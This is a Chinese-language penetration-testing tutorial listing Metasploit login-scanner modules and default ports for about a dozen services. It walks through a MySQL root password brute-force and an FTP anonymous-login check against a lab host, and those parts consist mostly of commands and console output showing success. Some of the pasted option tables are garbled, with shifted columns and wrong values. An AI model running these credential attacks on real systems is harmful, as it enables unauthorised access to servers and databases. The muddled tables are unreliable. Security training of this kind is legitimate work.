

## 第六课 使用Metasploit 各类密码破解(实战破解MySQL)

---

Author: 陈殷

公众号: 山丘安全攻防实验室

(只对第六个服务做破解演示, 其它操作大同小异)

### 1、ftp服务:

文件传输协议, 是用于在网络上进行文件传输的一套标准协议。破解成功之后可查看是否有文件上传权限,

若有, 可进一步利用, 若没有, 则可以获取一些敏感数据。

- 默认端口: 21
- 模块位置: auxiliary/scanner/ftp/ftp\_login

### 2、telnet服务:

Telnet协议是TCP/IP协议族中的一员, 是Internet远程登录服务的标准协议和主要方式, 传输方式为明文传输。

- 默认端口: 23
- 模块位置: auxiliary/scanner/telnet/telnet\_login

### 3、vnc服务:

VNC (Virtual Network Console)是虚拟网络控制台的缩写, 是一款远程控制工具。

- 默认端口: 5900
- 模块位置: auxiliary/scanner/vnc/vnc\_login

### 4、samba服务:

Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件, 是一种在局域网上共享文件和打印机的一种通信协议。

- 默认端口: 445
- 模块位置: auxiliary/scanner/smb/smb\_login

### 5、ssh服务:

SSH 为建立在应用层基础上的安全协议, 数据加密传输。

- 默认端口: 22
- 模块位置: auxiliary/scanner/ssh/ssh\_login

### 6、mysql服务:

MySQL是一个关系型数据库管理系统, root登录之后可执行系统命令。

- 默认端口: 3306
- 模块位置: auxiliary/scanner/mysql/mysql\_login

使用mysql口令破解模块

```
msf5 auxiliary(scanner/mysql/mysql_login) > use auxiliary/scanner/mysql/mysql_login
```

查看选项

```
msf5 auxiliary(scanner/mysql/mysql_login) > show options
Module options (auxiliary/scanner/mysql/mysql_login):
Name          Current Setting  Required  Description
-----
BLANK_PASSWORDS true            default_  Try blank passwords for all users
BRUTEFORCE_SPEED 5              userpass_ How fast to bruteforce, from 0 to 5
DB_ALL_CREDS     false         or_servic_ Try each user/password couple stored in the current database
DB_ALL_PASS     false         password_ Add all passwords in the current database to the list
DB_ALL_USERS     false         password_ Add all users in the current database to the list
PASSWORD        no            password_ A specific password to authenticate with
PASS_FILE       ipmi_u_/root/wordlists/top1000_password.txt no        File containing passwords, one per line
Proxies         no            multi_    A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS         192.168.30.134 no        The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT          3306          tcp      The target port (TCP)
STOP_ON_SUCCESS false         password_ Stop guessing when a credential works for a host
THREADS        1             password_ The number of concurrent threads
USERNAME        root          password_ A specific username to authenticate as
USERPASS_FILE   oracle_defaul_ File containing users and passwords separated by space, one pair per line
USER_AS_PASS    false         password_ Try the username as the password for all users
USER_FILE       hashes.txt    password_ File containing usernames, one per line
VERBOSE        true          password_ Whether to print output for all attempts
```

### 填写选项

```
msf5 auxiliary(scanner/mysql/mysql_login) > set username root
username => root
msf5 auxiliary(scanner/mysql/mysql_login) > set pass_file /usr/share/metasploit-framework/data/wordlists/top500.txt
pass_file => /usr/share/metasploit-framework/data/wordlists/top500.txt
```

这里一定要自定义一个字典，尽管它选项required是no，但是还是需要配置

然后开始攻击

```
msf5 auxiliary(scanner/mysql/mysql_login) > run
[+] 192.168.30.134:3306 - 192.168.30.134:3306 - Found remote MySQL version 5.0.51a
[+] 192.168.30.134:3306 - 192.168.30.134:3306 - Success: 'root:'
[*] 192.168.30.134:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

### 7、mssql服务:

Mssql (sql server) 是一个关系型数据库管理系统，使用sa登录之后可以使用xp\_cmdshell执行系统命令。

- 默认端口: 1433
- 模块位置: auxiliary/scanner/mssql/mssql\_login

### 8、oracle服务:

oracle是一个关系型数据库管理系统。

- 默认端口: 1521
- 模块位置: auxiliary/scanner/oracle/oracle\_login

### 9、postgresql服务:

版本 4.2为基础的对象关系型数据库管理系统 (ORDBMS)。

- 默认端口: 5432
- 模块位置: auxiliary/scanner/postgres/postgres\_login

### 10、http 登录认证 (路由器):

支持的路由器: dlink。

- 默认端口: 80
- 模块位置:
  - 1) auxiliary/scanner/http/dlink\_dir\_300\_615\_http\_login
  - 2) auxiliary/scanner/http/dlink\_dir\_615h\_http\_login
  - 3) auxiliary/scanner/http/dlink\_dir\_session\_cgi\_http\_login

### 11、PcAnywhere:

PcAnywhere是一款远程控制软件，你可以将你的电脑当成主控端去控制远方另一台同样安装有pcANYWHERE的电脑（被控端）。

- 默认端口: 5631
- 模块位置: auxiliary/scanner/pcanywhere/pcanywhere\_login

### 12、ftp匿名登录:

使用用户名为anonymous登录ftp服务器。

- 默认端口: 21
- 模块位置: auxiliary/scanner/ftp/anonymous

```

msf5 auxiliary(scanner/mysql/mysql_login) > use auxiliary/scanner/ftp/anonymous
msf5 auxiliary(scanner/ftp/anonymous) > show options

Module options (auxiliary/scanner/ftp/anonymous):
-----
Name          Current Setting  Required  Description
-----
FTPPASS       mozilla@example.com  no        The password for the specified username
FTPUSER       anonymous         no        The username to authenticate as
RHOSTS        21               yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT         21               yes       The target port (TCP)
THREADS       1                 yes       The number of concurrent threads
-----

msf5 auxiliary(scanner/ftp/anonymous) > set rhosts 192.168.30.134
rhosts => 192.168.30.134
msf5 auxiliary(scanner/ftp/anonymous) > run

[*] 192.168.30.134:21 - 192.168.30.134:21 - Anonymous READ (220 (vsFTPD 2.3.4))
[*] 192.168.30.134:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

```

### 13、tomcat登录破解:

- 默认端口: 8080
- 模块位置: auxiliary/scanner/http/tomcat\_mgr\_login

文章作者: 陈殷

文章出处: 山丘安全攻防实验室

